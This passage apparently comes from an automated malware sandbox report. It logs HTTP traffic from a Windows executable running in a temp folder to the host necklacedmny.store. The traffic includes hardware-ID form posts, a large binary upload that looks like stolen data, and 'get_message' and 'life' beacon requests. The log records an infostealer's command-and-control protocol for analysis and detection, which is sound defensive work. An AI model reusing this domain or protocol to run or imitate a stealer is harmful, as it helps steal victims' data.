2024-10-30 11:37:17 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:37:17 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-30 11:37:18 UTC	1011	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2tncufrvk2ql8mf31qqhpsmbum; expires=Sun, 23 Feb 2025 05:23:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1DrwNySEt4kxh3GUmWBwCq37F125kLiak5sojammuxrcmx14VJoDR9mLtj6cJoev0hqOPQjiyLV7F6rVjKSSpoS02VdoXHXvsC7jtYNPy7mNRZOR3OOLzkfWvLtNdzdmzhtb7S4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1cce087d2c87-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1774&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=1607103&cwnd=228&unsent_bytes=0&cid=c4a593b2bbcca6b6&ts=654&x=0"
2024-10-30 11:37:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:37:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49907	188.114.97.3	443	764	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:22 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1300 Host: necklacedmny.store
2024-10-30 11:37:22 UTC	1300	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:37:22 UTC	1012	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mcdag6ivku5v2ufj45tempifnr; expires=Sun, 23 Feb 2025 05:24:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MAR8Q2vdAfMDGQJSDjcyv3BqxyFewOOA5HBQ8YxvrROJ4qFCIPgUJG7bUnxEOP8XWxfAzqNAy6mCSu3Up1sX9rP6INUZe4yu7NQkB2d8GaF48omanjhFK1QsNh8d%2F%2BpHvYEZAsQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1cea8b3f2d2f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1406&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2219&delivery_rate=1865979&cwnd=251&unsent_bytes=0&cid=e134606ecd535258&ts=539&x=0"
2024-10-30 11:37:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:37:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49937	188.114.97.3	443	764	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:26 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568024 Host: necklacedmny.store
2024-10-30 11:37:26 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:37:26 UTC	15331	OUT	Data Raw: 55 df 45 01 61 d0 60 d2 cd af eb 7b ec d3 7b a1 9d d3 89 4a e2 e5 c0 7c 80 ee 8e 84 05 d1 7e ce c2 28 c6 d7 d9 c7 e3 4f c3 0f 15 f5 bc ec f2 fd d5 57 ec 3e d3 11 5f 81 01 29 e6 04 c0 b7 c1 b3 98 87 df d8 79 94 6f 36 e2 f0 37 58 9c 71 f9 ff 8c 00 f2 90 0a 3c f2 db 10 dc 0f e2 0c a9 b9 7e 80 99 cb 07 4e c3 01 91 21 38 ee 51 d9 5a 07 bf 99 fd 98 0d c5 90 95 62 5e 94 2f 7d 76 2d e5 77 de 54 cb 08 04 ed e5 db 73 d6 fa 40 6b db 25 ef e7 71 5e cf ab 45 3c 3d 70 84 36 f1 e6 68 8d 06 2e c7 bd 26 59 2d ff f2 0f fc 40 98 24 ba f5 3e 85 b9 c8 9e f9 f2 d7 b6 76 2c a5 3c 4e c1 3c ef 1b ee 8c 66 7a a3 8f 32 e8 7c 42 0f 7c af 5c ab 24 12 c6 36 73 de 5d 1a b4 6a da c9 ef 41 53 4e 86 98 a4 2c 5f 6d 5f fc 5b 0c 47 24 a8 de 44 2c 4c 48 dc d6 8c 1e 35 95 cb ea 0f 43 e4 4d 2e Data Ascii: UEa`{{J\|~(OW>_)yo67Xq<~N!8QZb^/}v-wTs@k%q^E<=p6h.&Y-@$>v,<N<fz2\|B\|\$6s]jASN,_m_[G$D,LH5CM.
2024-10-30 11:37:26 UTC	15331	OUT	Data Raw: fd f0 fc 90 30 18 5a b1 df d6 22 00 f2 7a f0 fc b7 c7 83 7d 9a 77 de de dd 2d 7b 68 59 4a c9 ad ee aa 2a 77 8f 7e 56 3c 2e a3 e9 b2 69 fc 51 1b 1b 78 b9 b0 3b 38 09 1f ec 25 5a ee f0 95 5e ff d5 ff fa 5b 9b 2a f7 88 9a 9a 42 49 30 54 1c 62 0a 31 66 73 f1 60 db 8e 7f b5 58 6a 5d 04 62 90 fe 3b 72 7d fe 25 48 9a f9 ef 10 eb dc 6c 0d 6f 40 23 21 01 c4 29 f2 ff 35 68 5a aa bf 4f d4 04 22 e0 30 86 77 72 cf ee 3e 20 bd 9f a6 8a c0 f1 f5 eb fb 64 1b 65 92 a1 ea d5 9d 75 fd 72 95 52 60 b1 f1 06 e4 2b fa 2c fd b8 9a 68 fb 47 f4 95 ec fb bc 3d 7f 01 45 30 ae 9e f0 f3 f8 9f b6 82 c8 3a e4 40 8b b7 fe 20 48 c1 65 c6 f8 f4 28 44 0b 47 07 c0 c7 16 54 8a 38 f2 eb ba 1a 9e b8 ab 06 4c c2 6e c2 03 4e 10 11 7c 98 8a 78 4d 2a d0 f2 c8 dd db a0 b3 25 7f 8a 54 3c 5f bb 86 2f Data Ascii: 0Z"z}w-{hYJw~V<.iQx;8%Z^[BI0Tb1fs`Xj]b;r}%Hlo@#!)5hZO"0wr> deurR`+,hG=E0:@ He(DGT8LnN\|xM*%T<_/
2024-10-30 11:37:26 UTC	15331	OUT	Data Raw: 24 ac f8 f3 f3 c2 ca c2 4a 75 eb ea c2 57 c6 5a 6d 6b 7a 33 21 8f d3 13 4c d4 3e ee d8 77 df a2 5f a2 99 20 10 bd fb 3f 1f bc 97 65 7f ae 6c ff 58 59 f1 b2 26 13 89 43 84 5b e8 db c7 c9 37 72 d3 00 5d 8d 48 a5 a1 c9 fc 28 5e 25 e0 81 c5 ae 1f d3 b0 54 c1 3b e5 98 60 c1 53 28 1c 71 80 6b 78 70 10 e7 51 a2 f2 62 96 fd d0 e4 23 0f ec 3c f9 f6 cd eb 3f 74 dd 2c e7 87 d0 23 9d 17 e7 00 f1 0a 44 54 18 ca 47 01 d7 b6 82 27 4f e0 52 50 af ff df a9 b5 36 17 ac d5 db f7 eb 0d da 76 e1 fa f5 58 e4 9d d9 6a 5f 5e b3 e2 53 6e d5 5e 18 2f de 15 f9 85 e2 2c 51 3f 4b af 86 80 44 1c e4 36 b9 77 dd 8a 27 40 1e 38 7f 9f 23 45 d4 e0 86 e2 4a 51 bb f2 76 e9 61 bf 4b 08 bc 46 d3 3b 05 c8 ba 2c f5 15 21 8b 5a 52 aa 28 4e 04 bc 11 55 b7 04 99 0d 21 ae 80 30 54 30 37 2c 27 36 52 Data Ascii: $JuWZmkz3!L>w_ ?elXY&C[7r]H(^%T;`S(qkxpQb#<?t,#DTG'ORP6vXj_^Sn^/,Q?KD6w'@8#EJQvaKF;,!ZR(NU!0T07,'6R
2024-10-30 11:37:26 UTC	15331	OUT	Data Raw: e3 63 e1 b6 c4 38 2e e7 88 f5 3d f0 cc d6 73 31 4c ef 6d 84 a7 97 42 dd f9 27 5f 58 93 74 39 38 16 58 04 dc 89 f4 12 0d 4d 6e 52 66 32 62 1a 59 25 0f 5c e6 cb 2f 3d 90 e0 14 82 fa 47 30 11 df 3c 22 84 32 ae e0 00 0e 81 67 af 04 66 f5 b9 15 81 40 68 23 b4 90 e1 0f 83 fa a1 91 91 81 70 98 df ba 46 2f 3f c3 a2 a9 31 90 6e 4e fb 7d 82 6c 7a f4 78 78 46 84 76 05 57 c5 1b a1 b0 fa 56 c9 9a 6c 15 70 66 52 1e 22 ba f1 2d 0f 20 f1 88 40 e9 5b be 26 fe 1a 86 6d 91 9a 6b 95 3e 37 49 13 cd 07 24 85 27 9c 8c f5 b9 53 98 33 93 17 f7 af e7 0e a9 63 86 03 1f 0d 0e 07 1f 5b 50 ee 2e 62 b4 6a 8b d9 69 4b 35 2f 04 33 ae 1d 27 8b ad bf d6 b4 1d 96 6f 5d 94 b4 af 0f d3 10 6d 2b e7 84 71 53 04 05 46 82 30 20 18 03 63 6c 83 fe 5d 02 f4 91 05 23 31 60 1b 4d ab 3a 57 ec 14 83 09 Data Ascii: c8.=s1LmB'_Xt98XMnRf2bY%\/=G0<"2gf@h#pF/?1nN}lzxxFvWVlpfR"- @[&mk>7I$'S3c[P.bjiK5/3'o]m+qSF0 cl]#1`M:W
2024-10-30 11:37:26 UTC	15331	OUT	Data Raw: b7 48 83 b1 23 ae a1 b4 9f e0 25 78 c8 8b db 6b e2 98 2a fd 98 85 e0 da 7f db 16 bb 02 2a b9 36 eb 51 2f 2d 02 25 c7 e2 2e 83 ab a3 89 a8 56 d2 c5 d3 93 59 1a 78 68 2e 66 dc 3a b7 2e 82 e7 12 96 c2 d6 ba 40 37 87 90 f0 8c e4 c7 57 e2 7d 91 54 03 04 d6 48 c5 af 5b 86 cc af 2e eb 16 8c 21 25 10 a1 da cf 27 40 0c f7 74 41 26 e9 3c 8c 7c be 0b 07 bb 3c aa 07 cc 54 7c 64 79 bb c9 41 d2 39 c0 7e 3f 5b 9c b5 04 52 db 28 15 6b 81 b3 e0 34 98 72 57 14 03 9a 57 4c a9 3b 60 63 50 2b b3 72 e0 81 f2 dd cd 01 5d 0c 11 55 a1 26 e3 9e d7 8b 30 d9 94 31 d6 ad b2 b3 40 fe 0f 0a 98 93 36 ad 69 23 05 ed bb 8e f0 a0 cd 41 09 95 10 6d c2 d0 1c 07 0c e3 e1 16 24 b0 7c 04 77 89 82 dd 65 cb c2 f4 76 e3 5e 71 50 b6 79 7b 6f 00 0a 68 b0 9f 68 22 2a 0b b5 8a 08 d1 73 3a 25 19 50 df Data Ascii: H#%xk*6Q/-%.VYxh.f:.@7W}TH[.!%'@tA&<\|<T\|dyA9~?[R(k4rWWL;`cP+r]U&01@6i#Am$\|wev^qPy{ohh"s:%P
2024-10-30 11:37:26 UTC	15331	OUT	Data Raw: 3d 37 d3 11 35 64 68 66 12 b0 31 7a 5b 46 eb bf 8e f6 36 e0 bf 4d 79 a7 f9 11 77 fc 98 6c d1 a1 b7 d2 c0 37 bd da 12 b6 24 b5 1e 10 e4 78 21 0a 7e 2e 8e 96 83 aa 35 7a 9b 25 15 b7 33 bd 69 b1 45 16 7e 34 e1 02 53 da b0 4d 11 dc 41 49 70 68 ee 21 20 dd 9c 9a b6 7b fa d6 e5 ba e3 8a 32 e5 8d ba 1a a0 9b 27 08 bf f3 18 3d 8d a6 bf dd 18 b5 cc ed ef 1d e3 ff 6e 0b 7d 51 27 5c e7 0c 91 19 59 01 fc f7 cc 0d fb 91 a4 45 7e be 8f 30 7d de 3a 7c 4f c1 10 f7 2f 1c ef b8 2e 60 c7 28 23 7e 42 7c aa 57 90 6d 0b d8 df 65 89 40 a3 23 77 0f 89 9f 71 98 2b cd ea 52 43 d5 50 5a a0 3e 79 70 e8 23 2e e9 a0 97 a1 76 8f 62 9f 63 d9 8e d0 33 b2 a4 be 09 5c 7a 9d 6e e7 57 ce 50 f9 c1 48 a4 e5 18 a6 ea 01 e9 39 eb a7 d5 95 06 d2 34 2e 7f bb c6 f0 08 92 49 a2 b0 c2 3d 10 da 4d 54 Data Ascii: =75dhf1z[F6Mywl7$x!~.5z%3iE~4SMAIph! {2'=n}Q'\YE~0}:\|O/.`(#~B\|Wme@#wq+RCPZ>yp#.vbc3\znWPH94.I=MT
2024-10-30 11:37:26 UTC	15331	OUT	Data Raw: 52 ba 56 fd 7b 7e 73 a4 ef c3 fd 0d 85 5f a0 e8 c6 aa 91 50 b7 94 e3 2d 7a 86 c1 4c fa 4c 1d 94 82 54 66 98 2b 2e b5 5f d0 d3 57 51 54 b9 af fc 0c 69 83 ec 33 18 8e 91 d1 ed 3f 11 46 af 75 7d 64 b6 93 41 14 00 e5 a5 e3 e5 e5 06 5e 71 00 1f bc a0 5d 1f 2e ed e8 c7 99 ca b8 0c 08 fd 7e c1 e9 6e c6 9f 75 db eb da 8d 8a d7 33 54 b8 32 e7 48 fa 5b f6 96 8b 5a 57 69 dc e0 0f c1 a2 5b ad 5c be 73 6c ed 98 39 24 25 b3 52 65 d3 9e 9d 3e 69 eb 7d 15 e8 d3 d2 8f 66 b4 86 e6 d3 d4 b9 09 c1 bb d2 a7 6c e0 38 f8 6f 4a ff b7 9e c1 9b 86 80 50 00 f5 e0 25 8d 6d 38 c2 c1 ce df d6 c6 3f d0 b3 83 36 5e 17 04 6d 8d 9d e4 54 31 0f ee 20 1f cb ef 62 73 7a 8d 05 62 94 32 07 df cb 01 ad 23 b4 eb 9f d3 72 15 5b 6e 07 68 3f 0e ff 7c c7 f8 96 16 98 2e 89 6a 40 54 7a 9f 38 12 84 89 Data Ascii: RV{~s_P-zLLTf+._WQTi3?Fu}dA^q].~nu3T2H[ZWi[\sl9$%Re>i}fl8oJP%m8?6^mT1 bszb2#r[nh?\|.j@Tz8
2024-10-30 11:37:26 UTC	15331	OUT	Data Raw: 61 da 10 2b aa c9 a7 8e da d3 72 28 49 07 63 7b e6 c0 0d 9b 31 44 a7 bb a6 0a 1d 87 92 61 9d 5b 4b 46 c0 17 56 b3 00 7e de 52 81 a6 aa 8b 80 d8 67 7d 01 4f 45 94 ba 54 20 34 f6 bc 63 d5 cb e2 0e 1b c2 f5 2d c4 3d 07 b9 63 be a0 5e 9d d1 b7 10 b3 1e 06 d3 e0 d0 0b 8b e1 2a 7d f0 61 d9 96 09 2a 15 3b eb 4f 43 85 e1 20 49 d4 f9 d5 4a 9d 23 61 32 5b a3 81 65 03 dc 1a dd 91 44 42 47 1b e2 52 6f a1 1f df 45 21 90 d4 66 d2 78 7b dd d8 a9 29 30 55 66 4f 31 ca ec 9e 85 f0 86 c4 ea 5e e9 77 05 44 2f 51 61 2d ab be b0 a8 b0 49 dc 3b f3 36 cc 11 37 ad 2b 98 f3 50 ec e2 15 97 08 63 5e 95 7e 37 4b 2f d3 d1 5c 82 3f b7 1f 46 78 4c 27 c7 33 ba eb 37 6b f7 4e f0 1c bb 62 2a 8c 0a a5 ae cf 0c d1 77 c3 4a b3 bc 3a a5 d8 b2 f4 69 37 ed 0c 80 a3 c2 cc d6 bc e1 eb 7a 13 d9 01 Data Ascii: a+r(Ic{1Da[KFV~Rg}OET 4c-=c^}a;OC IJ#a2[eDBGRoE!fx{)0UfO1^wD/Qa-I;67+Pc^~7K/\?FxL'37kNb*wJ:i7z
2024-10-30 11:37:26 UTC	15331	OUT	Data Raw: 17 b9 c8 2e 76 e8 59 88 3b 0d 9b ce 82 ec c6 5a eb df f5 6e 4c 11 96 ca 56 fe df 85 8e d7 bb be 91 a8 f5 57 73 eb ed f9 80 8e 68 c1 37 c6 cb 83 23 72 e0 9d 8c 1e 12 3c ed 13 4d 37 0f f9 b1 dd b2 3f d9 e4 ea d6 8f 67 c2 1a e0 e4 ba 9d 3a ff 67 80 e3 6a 25 2c 11 57 c8 0b 74 d6 6e 7b dd ba eb 7c 94 fa 03 89 f6 ab bd f5 2e 49 0e fc 96 3b a5 8b 7b 5e 27 0e e1 b8 2a 01 55 d2 37 3f aa 24 bc c5 10 6d 6b 50 d8 41 e5 dd e8 63 7b 8d 60 47 48 b6 0a 1c ae bf 9e 16 e6 a6 d2 b8 db 84 f7 f4 e8 bb 4e 7c 5e d4 50 cc fc 55 b3 b4 0e f1 5b 44 a1 cf 0e d4 ae e4 d0 81 3b 72 1b f6 d7 d6 3e 8a e0 b9 2f e8 a2 34 8c e1 21 41 25 c5 04 cb 6c c1 d7 47 b5 3e 45 bf d9 64 1f 29 f6 80 b2 9d bc d4 a5 bd a8 14 17 ec dc 78 b1 f0 5d e7 e6 48 5e 16 86 e3 66 26 3d 8d 81 70 73 ae cd d8 f1 b5 b7 Data Ascii: .vY;ZnLVWsh7#r<M7?g:gj%,Wtn{\|.I;{^'*U7?$mkPAc{`GHN\|^PU[D;r>/4!A%lG>Ed)x]H^f&=ps
2024-10-30 11:37:28 UTC	1027	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=16chbqsok3kbmnjg7li864r2pj; expires=Sun, 23 Feb 2025 05:24:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mhe5%2F965NHpYQWlLByKnQ7SY66N%2FH5%2F8BERBRCkxj8gmziwcPov070Uvbd0BaNfeYb7Spq5tqRig7EEkwFAeO3HiE209QzQ72CpAeVYMMGPGY50snCzE%2F%2FNygb2oLQW6Sn%2FMjiE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1d04d8a62cc4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&sent=229&recv=602&lost=0&retrans=0&sent_bytes=2844&recv_bytes=570573&delivery_rate=1778869&cwnd=241&unsent_bytes=0&cid=f1c7e0d2256a79a8&ts=1830&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49953	188.114.97.3	443	764	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:29 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 11:37:29 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=DC1F5181D4D2DDE64E576911C145B3A8
2024-10-30 11:37:29 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4veknggfiqdjrl26dnaa2bqb4t; expires=Sun, 23 Feb 2025 05:24:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ytdT2Py8SJ40%2FyTtSYXy%2FrgOoOLqZM4CS0h2yprvkkRS4JkymemHfTGgBQ76LFBTQc4%2BZfGFr8F2qxyaiTjErAVK%2F9WcEXiCBaaWODLM%2FFYoTrmzMZCnNCEM11KVNz24zuUFwCk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1d16aa326c54-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=935&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=2967213&cwnd=250&unsent_bytes=0&cid=e16423161b74d436&ts=485&x=0"
2024-10-30 11:37:29 UTC	214	IN	Data Raw: 64 30 0d 0a 33 52 49 77 57 5a 42 32 42 4a 44 6f 65 65 77 56 53 47 35 72 45 45 78 33 2f 45 32 53 30 59 55 44 46 64 51 4a 54 69 71 78 59 6d 71 47 61 52 49 73 73 6b 77 6d 2b 4a 77 4e 6e 43 38 55 51 54 63 2f 66 55 2f 4a 59 36 44 67 73 43 30 6b 35 54 70 67 47 34 63 2b 52 62 4a 30 56 67 57 2f 45 6d 48 32 78 68 79 55 63 47 70 43 53 58 59 34 56 63 5a 39 76 76 50 67 49 53 2f 6b 64 47 4a 52 6b 78 64 49 35 7a 42 59 4c 65 51 47 50 73 7a 48 4a 63 4d 6b 63 46 74 46 49 6e 31 43 30 6e 79 6a 34 71 73 79 49 34 67 6d 49 30 50 66 42 7a 62 79 59 46 45 33 39 42 6c 70 76 6f 30 42 69 54 64 6b 54 41 31 6b 62 6b 33 4d 59 62 43 30 70 7a 6b 6c 71 56 51 3d 0d 0a Data Ascii: d03RIwWZB2BJDoeewVSG5rEEx3/E2S0YUDFdQJTiqxYmqGaRIsskwm+JwNnC8UQTc/fU/JY6DgsC0k5TpgG4c+RbJ0VgW/EmH2xhyUcGpCSXY4VcZ9vvPgIS/kdGJRkxdI5zBYLeQGPszHJcMkcFtFIn1C0nyj4qsyI4gmI0PfBzbyYFE39Blpvo0BiTdkTA1kbk3MYbC0pzklqVQ=
2024-10-30 11:37:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	62823	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:41 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 11:37:41 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
